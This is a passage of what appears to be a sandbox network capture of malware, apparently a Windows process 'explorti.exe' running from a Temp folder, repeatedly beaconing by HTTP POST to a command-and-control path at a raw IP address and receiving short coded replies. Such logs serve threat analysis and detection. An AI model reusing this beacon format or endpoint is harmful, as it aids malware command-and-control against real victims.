Jul 2, 2024 12:22:09.619616985 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:09.842855930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	55276	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:09.962147951 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:10.682795048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:10.683520079 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:10.907880068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	55277	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:11.148670912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:11.863323927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:11.864274025 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:12.093374968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	55278	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:12.212516069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:13.146414042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:13.147314072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:13.149171114 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:13.365477085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	55279	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:13.477994919 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:14.192029953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:14.192919970 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:14.417989016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	55280	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:14.524828911 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:15.425018072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:15.425992966 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:15.426841974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:15.643539906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	55281	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:15.759279013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:16.466988087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:16.467740059 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:16.690915108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	55282	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:16.815196991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:17.515027046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:17.515830994 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:17.741347075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	55283	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:18.072909117 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:18.920851946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:18.921803951 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:19.147654057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	55284	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:19.258946896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:19.965375900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:19.966269016 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:20.188920975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	55285	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:20.307279110 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:21.001574993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:21.002485991 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:21.222213984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	55286	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:21.339633942 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:22.039850950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:22.040600061 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:22.263611078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	55287	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:22.389444113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:23.103760958 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	55288	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
